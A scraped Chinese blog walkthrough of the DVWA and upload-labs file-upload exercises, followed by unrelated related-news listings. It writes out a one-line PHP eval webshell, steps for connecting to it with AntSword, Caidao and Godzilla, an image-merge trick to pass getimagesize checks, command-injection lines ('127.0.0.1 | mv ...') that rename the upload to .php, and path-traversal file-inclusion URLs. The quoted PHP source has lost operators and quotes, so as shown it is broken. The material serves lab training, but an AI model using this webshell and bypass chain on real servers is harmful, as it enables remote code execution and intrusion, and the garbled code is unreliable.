DVWA靶场-文件上传
upload-labs源码地址https://github.com/c0ny1/upload-labsupload-labsPass-1-js检查Pass-2-只验证Content-typePass-3-黑名单绕过Pass-4-.htaccess绕过Pass-5-大小写绕过Pass-6-空格绕过Pass-7-点绕过Pass-8-::$DATA绕过Pass-9-点空格点绕过Pass-10-双写绕过Pass-11-00截断Pass-12-00截断Pass-13-图片马绕过Pass-14-getimagesize()-图片马Pass-15-exif_imagetype()-图片马Pass-16-二次渲染绕过Pass-17-条件竞争Pass-18-条件竞争Pass-19-00截断文件上传初级LOW:File Upload Source vulnerabilities/upload/source/low.php ?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } ??php // 判断是否点击上传按钮POST参数Upload存在 if( isset( $_POST[ Upload ] ) ) { // 拼接上传保存路径网站根目录/hackable/uploads/ $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; // 获取上传文件原始文件名拼接完整保存路径 $target_path . basename( $_FILES[ uploaded ][ name ] ); // 将服务器临时目录文件移动到上传目录 if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { echo preYour image was not uploaded./pre; } else { echo pre{$target_path} succesfully uploaded!/pre; } } ?可以看到服务器对上传文件的类型、内容没有做任何的检查、过滤存在明显的文件上传漏洞生成上传路径后服务器会检查是否上传成功并返回相应提示信息。因为文件上传没有做任何限制可以上传任何文件再上传一句话木马然后通过蚁剑或者中国菜刀拿到webshell。写一句话木马并上传:shell.php?php eval($_POST[123456]); ?用菜刀连接WEBshell,右键单击添加 http://127.0.0.1:82/hackable/uploads/shell.php密码就是我们上传的shell.php中的$_POST[123456]中的字符串 123456用蚁剑成功连接webshell蚁剑antsword安装教程:参考中国蚁剑(antSword)下载、安装、使用教程_antsword安装教程-CSDN博客下载地址需要两个包一个是项目核心 源码 ”antSword“https://github.com/AntSwordProject/antSword一个是加载器https://github.com/AntSwordProject/AntSword-Loader安装用下载的AntSword-Loader-v4.0.3-win32-x64.zip 以Windows版本64位来示例解压1.启动AntSword-Loader-v4.0.3-win32-x64 下的 AntSword.exe2.点击初始化3.选择下载的源码文件夹 antSword-master如果只下载了加载器选择一个空文件夹加载器会自动帮你下载核心项目源码4.等初始化完成后重启“AntSword.exe”即可正常启动使用方法首页点击右键 添加数据打开后url地址就是我们木马的地址 如 http://127.0.0.1:82/hackable/uploads/shell.php密码123456哥斯拉连接中级medium源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; // Is it an image? if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?查看到代码对上传的文件进行过滤上传文件后缀应为jpeg,png并且对文件大小进行限制。先把shell.php改成shell.png,然后再上传抓包用burpsuite抓包完成时候修改上传的文件名在filename处修改高级(high)源代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?CTF隐写术必备手把手教你通过文件头尾识别20常见文件格式附速查表-CSDN博客可以看到添加了一个getimagesize( string filename)函数它会通过读取文件头返回图片的长、宽等信息如果没有相关的图片文件头函数会报错。这里读取文件名中最后一个”.”后的字符串期望通过文件名来限制文件类型因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时getimagesize函数更是限制了上传文件的文件头必须为图像类型。且文件大小小于100000字节copy 1.jpg/bwjsc.php 2.jpg //复制 原图片/b木马.php 新图片 copy 11.jpg/b1.php/a 11.jpg //b表示二进制文件、a表示ASCII码文件将木马隐藏在图片中绕过(High文件上传Low命令注入)1、将木马文件pass.php与图片文件test.jpg合并为php.jpgwindows上(关闭实时防护)使用copy命令: copy test.jpg/bshell.php/a shell3.jpglinux上cat pass.php test.jpg上传成功注意文件一定要在100kb以内否则上传不成功这时只是上传成功但是蚁剑是连不上的因为不是php文件。无法解析运行所以图片木马上传后不能触发需要结合其他漏洞一起利用。结合文件包含漏洞一起利用。在命令注入中输入:127.0.0.1 | ren D:\phpstudy_pro\WWW\DVWA\hackable\uploads\shell3.jpg shell3.php此时发现shell3.jpg已经被改名为shell3.php如果服务器是Linux系统,结合DVWA命令注入Command Execution选择DVWA命令注入Command Execution调整dvwa的等级为low在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads然后通过命令注入方式输入以下命令来进行更改文件后缀127.0.0.1|mv ../../hackable/uploads/php.jpg ../../hackable/uploads/shell3.php再执行127.0.0.1|ls ../../hackable/uploads查看中国蚁剑查看指定连接目录http://127.0.0.1:82/dvwa/hackable/uploads/shell3.php参数为cmd类型为PHP(eval)结合文件包含可以继续做结合文件包含的low级别可进行远程进入文件包含在url的后面page输入../../hackable/uploads/w.jpg蚁剑的url输入http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpghttp://127.0.0.1/dvwa/vulnerabilities/fi/?page../../hackable/uploads/w.jpg发现为空可能需要登录搞一下Cookie试试可bp抓包可cookie插件。cookie插件连接成功Impossible Level#The developer calls it quits and hardcodes only the allowed pages,with there exact filenames. By doing this, it removes all avenues ofattack.开发人员只对允许的页面进行硬编码并提供精确的文件名这样做消除了所有的攻击途径。?php // The page we wish to display $file $_GET[page]; // Only allow include.php or file{1..3}.php if($file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php){ // This isnt the page we want! echo ERROR: File not found!; exit; } ?总结与防御#为了更好地使用代码的重用性可以使用文件包含函数将文件包含进来直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞产生原因是在通过PHP的函数引入文件时为了灵活包含文件会将被包含文件设置为变量通过动态变量来引入需要包含的文件。此时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过就会导致文件包含漏洞。常用的文件包含函数有include()、include_once()、require()、require_once()。包含漏洞分为本地包含和原创包含 2 类当包含的文件在服务器本地时就形成了本地文件包含。文件包含可以包含任意文件被包含的文件可以不是 PHP代码可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行如果包含的文件内容不符合 php语法会直接将文件内容输出。例如下面这段简易的代码?php$file $_GET[file]; include($file); ?当包含的文件在远程服务器上时就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同远程文件包含需要在 php.ini 中设置allow_url_include on是否允许 include/require 远程文件 allow_url_fopen on是否允许打开远程文件http://192.168.188.183/pikachu/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2023/09/09/76459764fc0cb7785d8730212793.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2unsafeupload\uploads\2026\07\25http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/4395896a642da68c7ee785209172.jpgsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2http://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2uploads/2026/07/25/1120906a64327f0122d204633838.pnghttp://pikachu.cn:83/vul/fileinclude/fi_local.php?filename../../unsafeupload/uploads/2026/07/25/1120906a64327f0122d204633838.pngsubmit提交查询uploads/2026/07/25/5669506a64334b855c9444912681.png

相关新闻

C++模板编程:深入理解typename关键字的原理与应用

C++模板编程:深入理解typename关键字的原理与应用

1. 项目概述:为什么我们需要深入理解 typename ? 如果你写过一段时间的C模板代码,尤其是涉及嵌套从属名称(nested dependent name)时,大概率见过编译器抛出一个令人困惑的错误,然后你不得不在…

2026/10/17 23:21:09 阅读更多 →
Python多进程与多线程并发执行多个.py文件实战指南

Python多进程与多线程并发执行多个.py文件实战指南

1. 项目概述:为什么我们需要同时执行多个.py文件?在数据处理、自动化测试、爬虫或者后端服务开发中,我们经常会遇到一个场景:手头有一堆独立的Python脚本(.py文件),它们各自负责一项具体的任务。…

2026/10/17 23:20:54 阅读更多 →
大模型编程入门:从API调用到本地部署实战指南

大模型编程入门:从API调用到本地部署实战指南

1. 为什么每个程序员都该学大模型编程?三年前我刚接触大模型时,花了整整两周才跑通第一个文本生成demo。现在借助成熟的工具链,新手用Colab笔记本15分钟就能实现相似效果——这就是技术迭代的速度。大模型编程正在从研究实验室走向工程实践&a…

2026/10/3 1:11:13 阅读更多 →

最新新闻

银行IT笔试真题解析:JVM、数据库与C++高频考点详解

银行IT笔试真题解析:JVM、数据库与C++高频考点详解

简介:一份面向银行信息技术岗位求职的计算机基础笔试题与答案文档,适配计算机专业应届生、准备银行面试的技术求职者。内容覆盖.NET平台运行机制、信息工程战略规划、数据库系统模型、面向对象技术、C访问控制、网络安全防火墙、堆排序最坏复杂度、二叉树…

2026/10/17 23:20:20 阅读更多 →
C语言手搓迷你DBMS:建表改表与底层实现

C语言手搓迷你DBMS:建表改表与底层实现

简介:这份资源是山东科技大学信息科学与工程学院《数据库系统概论》课程设计的实验报告,面向计算机科学与技术专业学生及需要完成类似DBMS实践任务的学习者。报告围绕“实现一个简单的DBMS——创建表和修改表”展开,完整记录了从需求分析、设…

2026/10/17 23:20:20 阅读更多 →
Spring启动报错Error creating bean的根因排查与解决

Spring启动报错Error creating bean的根因排查与解决

Spring 启动报错 “Error creating bean with name ‘externalDumpService‘” 的排查实录相信每一个做 Java 后端、尤其是用 Spring Boot 做微服务的朋友,对下面这段堆栈都不陌生:Error creating bean with name externalDumpService: Invocation of in…

2026/10/17 23:20:20 阅读更多 →
下拉框select与数据库交互:构建高可靠数据契约的实战指南

下拉框select与数据库交互:构建高可靠数据契约的实战指南

1. 项目概述:为什么一个下拉框值得花一整天去抠细节?“form表单中的下拉框select与数据库交互数据”——这行标题看起来平平无奇,像极了某次需求评审会上被随口带过的半句话:“那个下拉框,后端给个接口就行”。但我在某…

2026/10/17 23:20:20 阅读更多 →
C# 12新特性实战:主构造函数、集合表达式与性能优化指南

C# 12新特性实战:主构造函数、集合表达式与性能优化指南

简介:这本《C# 12 in a Nutshell》是OReilly出品的C#权威参考书,面向中高级开发者,系统讲解C# 12与.NET 8核心知识,涵盖语言基础、类型系统、继承、LINQ、并发与异步编程等主题。书中对CLR、BCL和运行时机制亦有深入剖析&#xff…

2026/10/17 23:20:20 阅读更多 →
纯CSS 3D旋转照片展示:从原理到实战的完整指南

纯CSS 3D旋转照片展示:从原理到实战的完整指南

1. 从一张静态照片到立体旋转展示:这个练习到底在做什么很多人学前端学到CSS动画这一块,都会卡在一个很尴尬的位置:transition和animation的基础语法都背下来了,transform里的translate、scale、rotate也能写,但一旦让…

2026/10/17 23:19:20 阅读更多 →

日新闻

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

简介:《DeepSeek使用方法.pdf》是一份面向DeepSeek入门及进阶用户的完整使用指南,重点围绕V3与R1两款模型的能力差异与适用场景展开,帮助读者根据任务类型与成本选择合适的模型。资源共1个PDF文件,压缩包大小约311KB,篇…

2026/10/17 0:00:25 阅读更多 →
200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

简介:这是一份聚焦DeepSeek提示词优化的《200Deepseek润色指令》PDF文档,共收录两百余条可直接套用的润色指令,涵盖语法修正、风格统一、逻辑梳理、表达精炼等维度,并针对商务写作、学术论文、广告文案等场景给出差异化建议。文档…

2026/10/17 0:00:25 阅读更多 →
OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

简介:本资源是一份基于OpenCV的本科课程设计完整报告,面向计算机视觉初学者、图像处理学习者及高校通信/信息类专业学生,解决物体智能计数与检测结果结构化记录的实际问题。项目覆盖图像预处理、轮廓检测、边界框绘制、轨迹栏交互式参数调节、…

2026/10/17 0:00:25 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/17 1:44:59 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →